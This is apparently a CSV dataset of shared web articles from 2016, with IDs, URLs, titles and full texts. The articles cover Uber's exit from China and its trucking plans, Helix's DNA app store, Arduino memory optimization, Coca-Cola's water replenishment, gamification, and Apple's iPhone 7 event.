1472435709,CONTENT SHARED,4125609302375934769,-1032019229384696495,-1837968428425770670,,,,HTML,http://www.businessinsider.com/uber-is-turning-into-a-different-company-that-you-thought-it-was-2016-8,Cracks are showing in Uber but the company coming out of the shell is not what you thought,"REUTERS/Danish Siddiqui Uber had been untouchable. The $69 billion ride-hailing company was like an invasive species, planting itself in cities throughout the world and forever changing how people get around. During the last six weeks though, Uber's dominance has started to show cracks. It ceded the fight in China after blowing through billions of dollars. It lost $1.2 billion in six months - almost as much Amazon lost in its worst year ever. And its investors continue to apply pressure for it to go public and deliver a return on their investment. The hasty exit from China, and the staggering losses, look like worrisome signs for a company whose fundamental appeal to investors is to become the world's next generation of taxis. But Uber's real promise may be quite different, and the company appears to be betting that scaling back its ambitions in one domain is the tough but necessary sacrifice to go after a bigger prize. Uber's black eye Uber's tough August began when it gave up the fight in China . Make no mistake, this had always been an uphill battle against rival Didi Chuxing, but it was one Kalanick seemed determine to fight. "" We are number two in China, which means that we still have a ways to go,"" Kalanick said as recently as June. ""But we are putting everything on the field."" While China made up some of Uber's largest markets, Uber ultimately couldn't support the mounting losses. Its rival had finished a $7.3 billion fundraising round that included a $1 billion investment from Apple. And while Uber was operating in 60 cities in China, Didi Chuxing (formerly Didi Kuaidi) was in more than 400. Kalanick realized it was a market he had to let go. ""As an entrepreneur, I've learned that being successful is about listening to your head as well as following your heart. Uber and Didi Chuxing are investing billions of dollars in China and both companies have yet to turn a profit there,"" Kalanick wrote in the announcement . ""Getting to profitability is the only way to build a sustainable business that can best serve Chinese riders, drivers and cities over the long term."" Investors could be relieved that Uber is out of the money losing situation, but the company takes another hit: its future valuation potential. Companies pitch themselves based on their total addressable market, or how big they could possibly grow. By ceding China, Uber is effectively lowering the ceiling on its growth and shrinking its ride-hailing market size. But that's where the story of Uber's future is changing. It may have lowered its potential in one market, but it's opened up another one entirely. The Uber for trucking is just Uber In early August, just two weeks after it was announced that it was leaving China, Uber lifted the curtain on its other project: self-driving cars. Uber's big research project is showing progress at an opportune time and launching in Pittsburgh. China may have failed, but look - Uber is solving what it calls an existential threat to its business. The announcement served another important purpose: it fixes Uber's market problem by opening up another one entirely. Darren Weaver Uber revealed it had spent $100 million to get into the trucking business with its purchase of Otto, a startup that makes kits to turn traditional trucks into autonomous vehicles. When I asked Uber CEO Travis Kalanick if he was getting into the trucking business, his answer was a solid yes. ""Part 1 is, yes, we are getting in the trucking business,"" Kalanick told Business Insider. "" Part 2 is that it is a multitrillion-dollar business globally as well. I have always talked about the consumer ground-transport business being a multitrillion-dollar business. Now there's this other one called trucking. It is a challenging, interesting, nuanced business, and it is going to be intense getting into it, but that's exciting to me. We'll just have to see how it grows over time, and it is a bit early. We are still in sort of the R&D phase, if that makes sense. The emphasis is mine to show how deftly Kalanick doubled his company's business potential. Uber isn't just a ride-hailing company anymore. Kalanick is now talking about the opportunity to build a business that spans two multitrillion-dollar markets. The loss of China would be negligible if Uber can conquer trucking too. Starting at the bottom While it's a rosy vision of the future, one investor Business Insider spoke to said it felt like a diversion tactic - a distraction for a bigger problem for the company was facing. Bloomberg's Eric Newcomer broke the news that Uber's losses are both staggering and growing. In the first six months of 2016, the company's losses exceed $1.27 billion. Its once profitable US business also lost money in the second quarter, and Uber blamed it on Uber driver subsidies. (That's one reason it's probably looking forward to an era of self-driving cars). And as Newcomer points out in Bloomberg , there's no comparison for how much money Uber has lost. Amazon's worst annual loss ever, in 2000, only totaled $1.4 billion - and Uber reached that number in nearly six months. Uber's 2015 losses crossed the $2 billion mark. However, as Kalanick himself stated in his concession post to Didi, he has to follow his head and heart and leave a market so both companies can achieve profitability. Investors can expect those losses to drop next quarter now that Uber is out of China. It's no longer a spend at all cost mantra for Kalanick. Uber's move into self-driving cars (and trucks) will be costly and risky too. It's not only an unproven R&D project, but it's also an existential bet that Kalanick has already said he can't get wrong. China may have been a black eye to the company, but Kalanick's looking to a future bigger than conquering ride-hailing in every market. He failed at conquering China, but that's a loss he can afford. The Uber for the future is a logistics platform, from human passengers to packages, delivered by self-driving cars and trucks. Kalanick knows he has to route Uber's money into these problems - and not fight any more over China. ""It starts with understanding that the world is going to go self-driving and autonomous,"" he told Business Insider . ""So if that's happening, what would happen if we weren't a part of that future? If we weren't part of the autonomy thing? Then the future passes us by basically, in a very expeditious and efficient way."" Uber is starting its next act without finishing the first one. But for a company with its ambitions, and a $69 billion valuation, there might not be any other way. SEE ALSO: Travis Kalanick on Uber's bet on self-driving cars: 'I can't be wrong' NOW WATCH: These self-driving trucks may be the key to Uber's future",en
1472460749,CONTENT SHARED,6472331784294749716,-6067316262393890508,2423736470297080896,,,,HTML,https://www.technologyreview.com/s/600769/10-breakthrough-technologies-2016-dna-app-store/,10 Breakthrough Technologies 2016: DNA App Store,"An online store for information about your genes will make it cheap and easy to learn more about your health risks and predispositions. Availability: this year While driving and listening to National Public Radio one day, Justin Kao heard about the discovery of a ""sweet tooth gene"" that makes you more likely to crave sweets. ""Oh my God,"" thought Kao, who has always loved cookies. ""I would pay $5 to know if I had that."" Kao is hoping that millions of other people will be just as eager to spend a few bucks for tidbits revealed in their DNA. He is a cofounder of Helix , a San Francisco-based company that last summer secured more than $100 million in a quest to create the first ""app store"" for genetic information. DNA App Store Breakthrough A new business model for DNA sequencing that will make genetic information widely accessible online. Why It Matters Your genome determines a great deal about you, including your likelihood of getting certain diseases. Key Players in Consumer Genomics - Helix - Illumina - Veritas Genetics Our genomes hold information about our health risks, our physical traits, and whom we're related to. Yet aside from ancestry tests that provide a limited genetic snapshot, there's not a mass market for DNA data. Helix is a bet by Kao's former employer, the buyout firm Warburg Pincus, and Illumina , the leading manufacturer of ultrafast DNA sequencing machines, that what's been missing is the right business model. Helix's idea is to collect a spit sample from anyone who buys a DNA app, sequence and analyze the customers' genes, and then digitize the findings so they can be accessed by software developers who want to sell other apps. Helix calls the idea ""sequence once, query often."" (The company says customers will find these apps on websites and possibly in the Android and Apple app stores.) With its ties to Illumina, Helix thinks it can decode the most important part of a person's genome-all 20,000 genes and a few other bits-at a cost of about $100, about one-fifth of what it costs other companies. That's why Helix can afford its second gambit: to generate and store this type of data for all customers, even if they initially make only one specific genetic query-such as whether they have the sweet tooth gene or a risk for a certain disease. Maybe two guys in a garage will write a $10 app that shows you how old you'll look in 10 years, or which celebrity you are most closely related to. Kao says the tactic will make genetic information available to consumers ""at an unprecedentedly low entry price."" The engine to power the app store is being assembled a mile from Illumina's San Diego headquarters, in a building where workmen were still bending sheet metal and laying floor tiles in January. Several miles of data cables strung through the ceiling will be connected to a large farm of sequencing machines, able to process the DNA from a million samples a year. Illumina's CEO, Jay Flatley, also chairman of Helix, has said it could be the largest sequencing center anywhere. Helix plans to launch the store this year or next. Customers will control their data by deciding who sees it. There's even a ""nuclear button"" to erase every A, G, C, and T. But key details are still being sorted out. Will people be able to download their DNA information and take it elsewhere? Probably, though they might pay extra for the privilege. One company working with Helix is Good Start Genetics, a startup in Cambridge, Massachusetts, that offers pre-conception testing. These DNA tests tell parents-to-be if they share a risk for passing on a serious genetic condition, such as cystic fibrosis. Jeffrey Luber, Good Start's head of business development, says it hopes to reach a larger audience with an app that can report a few important risks. As with browsing on Amazon, he thinks, people will discover things they ""didn't know they needed but that [are] targeted to them, and that they want."" A looming question mark is the U.S. Food and Drug Administration, which has kept close tabs on gene tests and will decide how much information Helix apps can reveal. Right now, says Keith Stewart, director of the Center for Individualized Medicine at the Mayo Clinic, most apps that return real medical information-your chance of cancer, say, not just how much Neanderthal is in your DNA-would need agency approval, or at least a doctor in the loop. ""The bottom line is going to be: What are the regulatory constraints on information that is truly useful?"" says Mirza Cifric, CEO of Veritas Genetics. His company has been offering since last fall to sequence a person's entire genome and is creating its own app to explore the data, complete with a button to get a FaceTime appointment with a genetic counselor. Cifric hasn't decided whether to create an app with Helix, but he says he shares its core belief: ""The genome is an asset that you have for life, and you'll keep going back to it."" Credit Illustration by Javier Jaén Antonio Regalado Senior Editor, Biomedicine I am the senior editor for biomedicine for ... where I wrote about science, technology, and politics in Latin America for MIT Technology Review . I look for stories about how technology is changing medicine and biomedical research. Before joining MIT Technology Review in July 2011, I lived in São Paulo, Brazil, More Science and other publications. From 2000 to 2009, I was the science reporter at the Wall Street Journal and later a foreign correspondent.",en
1472473126,CONTENT SHARED,9112765177685685246,997469202936578234,-5977427574112245787,,,,HTML,http://linux.dd.com.au/wiki/Arduino_Static_Strings,Scott Penrose: Arduino Static Strings,"UPDATE: 2014 for Arduino V1+ - Michael Cooper reminded me today that there is now a better way. See also: Skipping why this is the case, you can imagine on an Arduino 168 with 1K of RAM, this could easily become a big problem. Especially if you are writing an HTTP server. The solution is ugly, and this is my attempt at making it prettier. The above examples show that we are using a heap of RAM for each, of what should appear to be a static string. You will find heaps of references on why it is using RAM. For now, trust me, it is using real RAM. Every string in your project is taking up real RAM. And when you only have 1K or perhaps 2K this becomes a problem. What is ram used for - generally the amount of ram you use in your project is fairly fixed. If you have an int it is 2 bytes all the time. Each time you call a subroutine or method, your stack uses more memory, and programs can take unexpected routes - so keep your memory small. Solution 1 - External There are some solutions: Stick your static content into the EEPROM (although this is only 512 bytes, while program ram is about 14K, or 30K on a 328). Store it on an external device - useful for really large things, like web resources. A async_labs WiShield has space. Solution 2 - PROGMEM as per the Examples The solution that most people suggest is as follows: An alternative to this example is to first copy the string. There are some problems with these examples: They require you to know what you are doing with the string. What if you wanted to put it in a log, or send it over Ethernet and Serial. In the second example you have to know how big your biggest strings are. So here is my example which pulls it together: Solution 3 - PROGMEM copied to a buffer, using normal print The above example allows us to use any PROGMEM strings for any purpose. But remember you can only deal with one at a time. This is because there is only a single reused buffer. Technically we could also make the buffer outside of the routine, to allow it to be used directly. or for other things. For most Arduino code this won't matter much, but you don't want to use this function inside an interrupt, or using some form of scheduler. Solution 4 - Simpler is better This solution uses preprocessor functions to do the work. The adafruite wave shield uses the following code: You can't use these strings for anything, as you need a new define and function for each thing you want to write to, but it does make your code much simpler... I am working on improving the usability. And now my own version... really just some renames: After about an hours work that is about as close as I can come to being simple. The problem... you need to create a method for each thing, and sometimes they need other parameters. There doesn't seem to be a generic way. Worth it ? Here are some numbers: Used 446 bytes of text to print to the serial port NO Data (base line) compile 2236 bytes, free memory 1836 Serial.print(""strings"") compile 2752 bytes, free memory 1390 SerialPrint(""strings"") compile 2778 bytes, free memory 1836 Now write a HTTP server, lots of client debugging etc, and yes it was worth it. The end result is also very easy to read: TODO: Add Github project files for test code. References",en
1472473394,CONTENT SHARED,521382866757596943,997469202936578234,-5977427574112245787,,,,HTML,http://web-engineering.info/node/30,Optimize Arduino Memory Usage,"Did your Arduino gone ""crazy"", without obvious reasons, and restarts or resets by itself? Did your device started to misbehave but you are 100% sure that your code is correct? In such cases, one of the possible cause is the lack of free RAM (random access memory). In other words, your MCU does not have sufficient free RAM to perform the required task(s). Random Access Memory: types and differences There are two main types of RAM available in embedded devices: SRAM (static random access memory) and DRAM (dynamic random access memory). While SRAM is faster in read/write/access operation, it is also more expensive and usually takes more physical space. On the other hand, DRAM is generally slower in read/write/access operations (this improves with each generation), but cheaper to produce and usually smaller with respect to its physical size. No matter which type of RAM (SRAM or DRAM) uses an embedded device, the following discussion stands. Many of the MCUs used by Arduino boards (e.g., ATmega328p in Arduino UNO v3 and ATmega2560 in Arduino MEGA2560 ) use SRAM memory, but unfortunately only in small quantities (e.g., 2KB for ATmega328P and 8KB for ATmega2560), thus special care is required in writing the code. For the rest of the discussion, we only use the RAM term for both, SRAM and DRAM. RAM Diagnose: when heap meets stack At first, we need to check if the problem is caused by insufficient free RAM, and not by various other possible reasons, such as a defective MCU, problem with peripherals or even non-obvious code bugs. Debugging an Arduino is not really easy since it does not ""beeps"" on error, does not show blue screens and also does not trigger popup windows telling you which is the possible problem. The RAM available in an Arduino MCU is organized as shown in the picture below (picture linked from: avr-libc ). .data variables is the first RAM section and it is used to store program static data, such as strings, initialized structures and global variables. .bss variables is the memory allocated for uninitialized global and static variables. heap is the dynamic memory area, and this is the playground area for malloc (and alike). The heap can grow (when new allocation is made) or ""possibly"" decrease in size (when memory is released, as for example when using free ) based on the requirements. stack is the memory area located at the end of the RAM and it grows towards the heap area. The stack area is used for function calls, storing values for local variables. Memory occupied by local variables is reclaimed when the function call finished. external RAM is only available to some of the MCUs and it means that it is possible to add RAM in a kind of similar way that we do for a PC. Usually this is expensive (a few KB of external RAM costs in general more than the MCU) and requires also advanced hardware and software skills. free available memory is the area between heap and stack and this is what we need to measure in order to detect problems caused by not enough RAM resources.When this area is either too small for the required tasks, or is missing at all ( heap meets stack ), our MCU starts to missbehave or to restart itself. The following C/C++ method definition allows to compute the free memory (in bytes) for an Arduino MCU. It works with both, Arduino IDE and also with other tools such as AvrStudio: The getFreeRam function defines a new variable (named newVariable ), which being a local variable of a function will be stored in the stack. Because the stack memory area grows towards the heap , the memory address of this new variable is the last memory address used by the stack at the moment of calling this method. The __brkval is a pointer to the last memory address (towards the stack) used by the heap. We don't have to worry about the management of __brkval since this is done internally. We also have to be sure that the heap is not empty, because then __brkval can't be used (it is a NULL pointer). If the heap is empty, then we use __bss_end which is a variable internally defined, and it is stored in the last part of the .bss variables RAM area The free amount of RAM represents the differences between the address used by our newVariable variable and the __brkval referenced address ( or the address of __bss_end if the heap is empty). This give us the number of unused bytes on 8bits MCUs, such as the ones used by the Arduino (with the exception of Arduino DUE, which uses an ARM 32 bits MCU). The above code works with most of the Arduino MCUs (up to 64KB RAM), and in case you find one which does not, please report. NOTE: the above discussion represents a simplified story of the RAM division and its management. Our intention was to provide an explanation for everyone (the beginner and also the advanced programmer) without going in ""black hole"" details. Ram Usage Optimization: stack or heap ? Knowing that the problem comes from the lack of RAM resources, what can we do to fix it? There are at least two ways: use an MCU with more RAM resources, or optimize your code for a better management of existing RAM resources. While in some cases the first method is acceptable (the actual prices of the MCUs are quite low), there are many other cases when this is not a real solution, e.g., if the hardware already exists and new options need to be added to it. We discuss further how to optimize the RAM usage, which in many cases is the way to go for your Arduino. Avoid using dynamic memory allocation While using dynamic memory allocation is a good solution when programming a normal PC with multiple hundreds of megabytes, gigabytes or even terabytes of ram, it is in general a bad idea for embedded devices (such as the Arduino family). The problem with dynamic memory allocation is that may easily produce memory (heap area) fragmentation. Memory fragmentation can be seen as small ""holes"" in the RAM which can't be reused in many cases. Lets take an example. Say that 8 bytes of memory are allocated with a malloc call,then another 16 bytes are allocated with another malloc call. As a result, we have 24 bytes of continuous allocated heap memory. Later, since the first 8 bytes of memory are no longer used, we decide to reclaim it, with a free call, hopping to gain that memory for later usage. Indeed, the memory is freed up, but additionally, we have also created a ""hole"" in the heap. Why this is bad? Well, if now we need to allocate 10 more bytes (or any number greater than 8) of memory, the heap is increased because the 8 bytes free memory (the heap hole) are not sufficient. Memory allocation with malloc calls (also when using calloc or realloc ) works with continuous memory areas. If any time later 6 bytes of memory needs to be allocated, these can use a part of the ""hole"", but the two remaining bytes (was a 8 bytes area) are now isolated and have a big probability to never be used. Repetitions of what we described above can and will result in a big heap size with small unusable (in most of the cases) memory holes. Thus, sooner or later, the heap and stack collision becomes hard to avoid, (remember, the stack grows towards the heap and the heap grows toward the stack). When these two areas meet (or collide), strange things start to happen, such as auto-resets. A few simple rules may help to avoid RAM fragmentation: use stack instead of heap whenever possible - stack memory is preferred because the memory is complete freed up when the function returns, and also the stack memory is fragmentation free. In general, this means using local variables and avoid using dynamic memory allocation( i.e., malloc , calloc and realloc calls). avoid using global and static data whenever possible - the memory area ( .data variables and .bss variables ) occupied by these variables is never freed up for the live time of the same program. when using strings is a must, then it is important to keep them as short as possible - remember, each single char takes one byte of RAM (the entire 2KB RAM memory of an ATmega328p can be occupied by a string with a length of 2048 chars). when using arrays, try to keep their length at minimum - if later you really need a different length, just increase/decrease it the and reprogram your MCU. Use appropriate types for variables/fields In general, the programmers are tempted to use datatypes with a larger range than actually needed, in many cases, the reason being "" who knows, maybe later I need a greater value "". For example, one may define an integer (using int or short types) variable when actually the values of the variable are only positive numbers lower than 100. This is a bad idea no matter if we program a low resource device, such an MCU, or a normal PC application. Remember, we can change the variable type later, if a larger range is really required for that variable. The following table provides the most used C/C++ types to be used when programming low resource devices (but not only): float, double 4 floating point value in the range [-3.4028235e+38, 3.4028235e+38] NOTE: float and double are the same in this (Arduino) platform Be responsible and try to use the type which both, fits with the requirements for your data but also is the one with the lowest number of bytes used for memory storage. Just another example to convince you: an array with 128 elements of type uin16_t instead of uint8_t uses 128 bytes more RAm. That is 6.25% of the total memory for an Arduino UNO v3, and it is occupied just because we have used a wrong type for an array variable! Use PROGMEM for ""constant"" data In many cases, a large amount of RAM is taken by the static memory ( .data variable RAM area), as a result of using global variables (such as strings or numbers). Whenever this data is not likely to change, it can easily be stored in the so called PROGMEM (program memory). This represents a piece of the flash memory, and it is good to know that in general the flash memory is many times larger as the RAM (e.g., ATmega2560 has 8KB RAM and 256KB flash). The disadvantage of using PROGMEM is the reading speed, which is slower compared with reading the same data from RAM. The general way to define a PROGMEM variable is: For example, we define a string and the set of first seven prime numbers, and require to store them in the PROGMEM area, as follows: We need to include pgmspace.h for being able to use PROGMEM. Later, reading back the set of first seven prime numbers, can be done as follows:",en
1472478368,CONTENT SHARED,-6058152698516590252,3396828831632510915,1161097808473036777,,,,HTML,http://exame.abril.com.br/negocios/noticias/coca-cola-e-1a-da-lista-fortune-a-repor-toda-a-agua-usada,"Coca-Cola é 1ª da lista ""Fortune"" a repor toda a água usada | EXAME.com","Copenhague - A fabricante de bebidas Coca-Cola é a primeira das 500 maiores companhias da lista ""Fortune"" em repor toda a água utilizada em seu volume global de vendas, informou a multinacional americana nesta segunda-feira. A empresa devolveu à natureza e às comunidades 191,9 bilhões de litros de água através de diferentes projetos, o que equivale a 115% da água usada pela marca na produção de suas bebidas, segundo resultados validados pela auditora Deloitte e pela ONG The Nature Conservancy. A revista ""Fortune"" lista as 500 maiores corporações do mundo, conforme sua receita. A classificação é publicada anualmente. A Coca-Cola ressaltou que alcançar esse objetivo, que estava previsto para 2020, foi possível graças a 248 projetos hídricos em comunidades de 71 países focados ao acesso à água potável, a proteção de bacias hidrográficas e a utilização de água para uso produtivo. A multinacional garantiu ter melhorado também a eficiência no uso de água em 2,5% entre 2014 e 2015. O relatório foi divulgado em Estocolmo por ocasião da Semana Mundial da Água, evento realizado na capital da Suécia até a próxima sexta-feira e que reúne 3 mil especialistas de mais de 120 países.",pt
1472484223,CONTENT SHARED,7140495736721533935,3609194402293569455,-6551964660043635422,,,,HTML,http://exame.abril.com.br/rede-de-blogs/mochileiro-corporativo/2016/08/29/gamification-por-que-somos-motivados-por-mecanicas-de-jogos/,Gamification - por que somos motivados por mecânicas de jogos - Mochileiro Corporativo,"Paulo Campos Alguns dos mais recentes produtos web lançados no mercado, sejam aplicativos ou serviços on-line, têm uma estratégia em comum: gamification - que se trata da inclusão de mecânicas de jogos em conteúdos, projetos ou processos que não são classificados como jogos. De acordo com a Gartner, líder mundial em pesquisa de tecnologia e informação, 50% das empresas já utilizam estratégias de gamification para alavancar com mais rapidez e precisão seus objetivos de marketing, negócio ou educação. Portanto, os jogos não são mais usados apenas como entretenimento, na verdade, eles são considerados uma ferramenta eficaz e poderosa que enriquece principalmente as experiências de aprendizagem. As mecânicas de jogos utilizadas podem ser as mais variadas. Mas você sabe de que maneira essas ações agem sobre nosso comportamento e por que somos motivados por elas? Entenda a seguir. Adoramos uma competição É mais do que comum a existência de disputa em qualquer tipo de grupo. Inclusive, a biologia confirma que a competição é considerada uma das formas da espécie humana obter sua evolução contínua. Sendo assim, entrar em uma competição para buscar ser sempre o melhor é algo quase inevitável para a raça humana. Além disso, talvez você já tenha ouvido a expressão ""to jump on the bandwagon"", que, resumidamente, significa ""entrar na moda"". Mas o que isso tem a ver com competição? É que, por mais que cada um tenha sua personalidade ou características e gostos específicos, buscamos sempre um ideal compartilhado, uma identificação. Muitas vezes estamos à procura de coisas em comum para não nos sentirmos um peixe fora d'água. Nesse sentido, uma das mais importantes mecânicas dos jogos, além de instigar a participação ativa de cada membro em busca pela ocupação do primeiro lugar, também evidencia o quanto é importante a existência de mais pessoas para nos sentirmos parte de um grupo. Então, além de inconscientemente agirmos conforme o bando para nos sentirmos parte do movimento, queremos sempre, de preferência, estar à frente dele. Queremos sempre mais ""Ah, essa aí é fácil"". Claro, sempre queremos mais, e isso está diretamente ligado à nossa busca por recompensa. Mas como isso funciona na nossa mente e por que as marcas precisam aproveitar mais esse recurso? Sabemos que desde pequenos agimos pensando em recompensas. Essa é uma demanda constante do ser humano. Ainda assim, vejo muitas marcas solicitando, por exemplo, preenchimento de formulário ou respostas de pesquisas por telefone sem dar nada em troca para o seu cliente. Agindo dessa forma, as chances de conseguirem o que querem (informações sobre o cliente, nesse caso) é bem remota. É preciso entender que quanto melhor for a recompensa, mais fácil será de ter um retorno efetivo sobre as ações da empresa. Isso não significa que é necessário realizar grandes investimentos em materiais ou presentes, é importante aprofundar melhor essa tática e analisar o que é valioso para o seu público, o que ele considera como uma boa recompensa. O cérebro humano às vezes precisa apenas de um estímulo, que pode funcionar a partir de mecânicas de feedbacks ou premiações simbólicas. O importante é dar a sensação de progressão, pois o que sempre buscamos é estar em constante avanço - ou seja, queremos sempre mais. Somos movidos pela emoção Com tanta informação à nossa disposição, nossa maior dificuldade nos dias de hoje resume-se em continuarmos motivados e mantermos o foco no que estamos fazendo. Pedro Camargo, especialista em comportamento do consumidor, explica que quando há uma distração durante a absorção de uma mensagem não há codificação ou esta não é feita de maneira adequada, ""tornando-se indisponível na memória"". Ou seja, quando alguém está focado em algum conteúdo e, por algum motivo, se distrai, deixa de codificar a mensagem de maneira que ela fique guardada na memória. Uma das formas de mantermos o foco e o interesse por um determinado assunto é ativar o maior número possível de áreas do cérebro. Quanto mais áreas ativadas, maior é a chance de você se manter atento e motivado naquele determinado conteúdo. De acordo com estudos de Neuromarketing, táticas de storytelling têm sido o que mais tem provocado diferentes emoções e, por consequência, absorvido mais a atenção público. Isso acontece porque já pensamos diariamente em forma de narrativa, é uma maneira natural e simples do ser humano pensar, imaginar, criar coisas e, assim, aprender. Este é um dos grandes motivos pelos quais nos mantemos superfocados e concentrados quando o assunto envolve alguma história - outra estratégia importante usada na construção de conteúdos com mecânicas de jogos. Além disso, queremos vivenciar determinadas experiências e avançar com elas. O lúdico, proporcionado pelo jogo, nos leva para dentro da dimensão da narrativa, ativando inúmeras partes do nosso cérebro e fazendo com que não esqueçamos o que vivenciamos nesse contexto. O que diz Brian Burke? Para trazer o que há de mais novo nesse tema, consegui uma entrevista exclusiva com o especialista em gamification Brian Burke, de Nova York. Ele nos explica como as técnicas e mecânicas de jogos são utilizadas para acelerar o aprendizado. Confira a seguir e aprenda mais com ele: Você acredita que essa estratégia pode alcançar todas as áreas? Gamification pode ser utilizado de diversas formas para engajar e motivar pessoas. Por exemplo: para aprender uma nova habilidade ou tornar-se mais saudável. Mas não é útil em uma área onde não há alinhamento entre os objetivos do público e os objetivos do ""game"". Gamification não fará as crianças comerem brócolis, por exemplo. Gamification é bom para motivar pessoas a atingirem os seus próprios objetivos. Quando o objetivo da empresa está alinhado com os objetivos dos jogadores, o gamification pode ser utilizado para motivar pessoas a atingir seus objetivos e, então, os objetivos da empresa serão atingidos como consequência. Você diria que a mecânica dos jogos está em todos os lugares? Existe espaço para grandes potenciais de crescimento para estratégias de gamification? Ainda existem muitas oportunidades para introduzir gamification em diversas áreas. Essa estratégia é quase universalmente aplicada no segmento fitness e também no engajamento das pessoas em inovações. Mas existem algumas áreas onde o gamification está realmente só começando a ser utilizado, como em treinamentos e em atividades voltadas para o aumento de produtividade de colaboradores, por exemplo - há grandes oportunidades de crescimento nessas duas áreas e eu tenho certeza que existem muitos usos para gamification que ainda nem pensamos sobre. Que conselho você daria para empresas que estão começando a utilizar estratégias de gamification - na área de e-learning por exemplo? Um conselho básico que se aplica a todos os usos é o alinhamento aos objetivos do jogador. Especificamente em plataformas de e-learning, eu sugiro o uso de uma abordagem de aprendizagem empírica ao invés de uma abordagem de aprendizagem por hábito. O gamification se dá bem com as duas abordagens, mas é particularmente útil em aprendizagem empírica. O gamification pode ser aplicado com simulações para ajudar as pessoas a aprenderem por experiência - assim como pilotos aprendem a reagir a vários tipos de emergências utilizando simuladores de voo. E aqui vai uma dicaduka : Quer se aprofundar mais nesse tema? Recomento o livro Gamify: How Gamification Motivates People to Do Extraordinary Things, de Brian Burke. Este texto foi escrito pela querida Gabi Gonçalo , ex-aluna da Sustentare Escola de Negócios - Joinville e especialista em gestão de marketing com mais de 10 anos de experiência. Formada na área de Comunicação e com MBA em Marketing, hoje atua como coordenadora de Marketing da startup Exact Sales e é colunista do premiado blog Ideia de Marketing "" www.gabigoncalo.com.br Professor Paulo Vieira de Campos tem 20 anos de experiência em soluções de aprendizagem. Autor do blog Mochileiro Corporativo da Revista Exame. Desde 2000 já realizou mais de 2.100 palestras para 105 mil pessoas nos temas relacionados ao comportamento humano nas áreas de Liderança, aprendizado de adultos e gestão de pessoas. Contato: pvcampos@terra.com.br",pt
1472487314,CONTENT SHARED,4631867115963052211,-709287718034731589,2083415706493299313,,,,HTML,https://9to5mac.com/2016/08/29/apple-event-date-iphone-7/,"Apple announces 'iPhone 7' September 7 event, Apple Watch 2 and MacBook Pros may be unveiled","Mark your calendars, folks, it's official. Apple has issued press invites to its next media event on September 7. The company is widely expected to unveil new iPhones and could unveil new MacBook Pros and the Apple Watch 2 at the same event. The new iPhones are generally expected to feature a very similar design to the iPhone 6s and iPhone 6s Plus, which suggests Apple could save the 'iPhone 7' name for 2017 models and use a version of the iPhone 6 name (like iPhone 6 SE ) this year. While it's unclear what Apple will name the new iPhones, we'll go with the consensus of iPhone 7 until we learn otherwise. While both models are expected to gain faster A10 processors and drop the 16GB tier for 32GB entry models, the most dramatic change is likely coming to the 5.5-inch iPhone 7 Plus and not the 4.7-inch iPhone 7: a dual camera system. This could be used to emulate optical zoom where digital zoom basically crops a shot and loses detail. Both iPhone 7 models are expected to introduce a darker color for the black-front model. The iPhone 5 introduced a dark blue color called slate that was prone to scuffing, and Apple has played with versions of its 'space gray' gunmetal gray color since the iPhone 5s. The iPhone 7 is expected to feature a return to a dark blue color or maybe even a near black ' space black ' option. As you may notice in the alleged leaked cases above, Apple is also widely expected to drop the 3.5-mm headphone jack on both iPhone 7 models in a push toward Lightning, Bluetooth, and AirPlay audio. As for the Apple Watch 2, the anticipated refresh will mark the first update since the current model was unveiled two years ago and released a year and a half ago. The design is expected to look generally the same, but much needed speed improvements are on the way and a GPS chip for mapping workouts and using location services is expected. And 9to5Mac readers will be the first to express the need for updated MacBook Pros. The current lineup of Retina MacBook Pros features a design that hasn't been refreshed in years and internals that sorely need updated. The good news is that rumors have been very promising for MacBook Pros this year (as you can see with the render below). A slimmer design, Touch ID, and a dynamic OLED touch panel in place of static function hardware keys are all in the cards for the next MacBook Pro update. While new MacBook Pros are expected sometime this year, recent reports have claimed Apple could hold off on unveiling these new models at this September event. In recent years, Apple has held an iPhone-focused event in September, then an iPad-focused event in October, and Macs have appeared when ready. Last year, however, Apple packed all of its new products into a single fall event held in September including new iPhones, new Apple Watch colors and bands, the 12.9-inch iPad Pro, and the fourth generation Apple TV. Apple later released the 9.7-inch iPad Pro at its March event earlier this year, new iPads aren't expected until next year , and rumors of an updated Apple TV haven't surfaced aside from one story late last year. Apple will also likely give stage time once again to its upcoming software updates: iOS 10 , macOS Sierra , watchOS 3 , and tvOS 10 . We'll bring you full coverage of Apple's September event next month as well as the latest on what we expect ahead of the event so stay tuned. In the meantime, here's plenty of reading material to get you up to speed before then:",en
1472487354,CONTENT SHARED,-5823763419123575797,-709287718034731589,2083415706493299313,,,,HTML,http://www.macrumors.com/2016/08/29/apple-iphone-7-media-event/,Apple Invites Media to September 7 Event: 'See You on the 7th',"Apple today sent out media invites for an iPhone-centric event that will be held on Wednesday, September 7 at the Bill Graham Civic Auditorium in San Francisco, California. Media invites ( via The Verge ) offer up a first look at the theme of the event and feature the simple tagline: ""See you on the 7th."" The fall 2016 event is expected to see the debut of the next-generation iPhone 7 and iPhone 7 Plus, which are rumored to feature improved cameras, better processors, and improved water resistance, implemented through the removal of the headphone jack and the introduction of a new flush, pressure-sensitive home button. Both devices are said to look similar to the iPhone 6s , with the same general size and shape, but with relocated antenna bands that no longer span the back of the devices. Faster LTE and Wi-Fi speeds are rumored, as is a jump in storage space with 32GB positioned as the new minimum and a 256GB option rumored at the high end (possibility limited to iPhone 7 Plus). Display improvements first introduced in the 9.7-inch iPad Pro , including the True Tone feature able to adjust the display to match ambient lighting could be offered, and the larger iPhone 7 Plus is expected to have exclusive features like 3GB RAM and a dual-lens camera for crisper, brighter images. Apple may use the event to debut a second-generation Apple Watch , said to include better waterproofing, an improved processor, and a built-in GPS chip. Design changes are not expected for the next-generation Apple Watch, but new materials and new bands are always a possibility. Apple rotates its Apple Watch band offerings on a regular basis and we expect to see new designs this fall. Most of Apple's Mac lineup is due for an update, but the most highly anticipated machine, the MacBook Pro , will reportedly not be debuting at the event , coming later in the year instead. It's not known if other Macs will see a refresh announcement at the event, but it's unlikely, and we're also not expecting any iPad announcements at this time. We will, however, get an update on the prospective launch dates of iOS 10 , macOS Sierra , watchOS 3 , and tvOS 10 . We're expecting to see iOS 10 and watchOS 3 launch shortly ahead of the release date of the next-generation iPhone ( rumored to be September 16 or September 23), while macOS Sierra could come a bit later, perhaps towards the end of the month. tvOS 10, as a new operating system, could launch alongside iOS 10 or alongside macOS Sierra. In line with past events, the September 7 event will begin at 10:00 a.m. Pacific Time. As it has done with several past events, Apple is likely to stream the event live on its website and on the Apple TV . MacRumors will also be providing full event coverage, both on MacRumors.com and through our MacRumorsLive Twitter account .",en
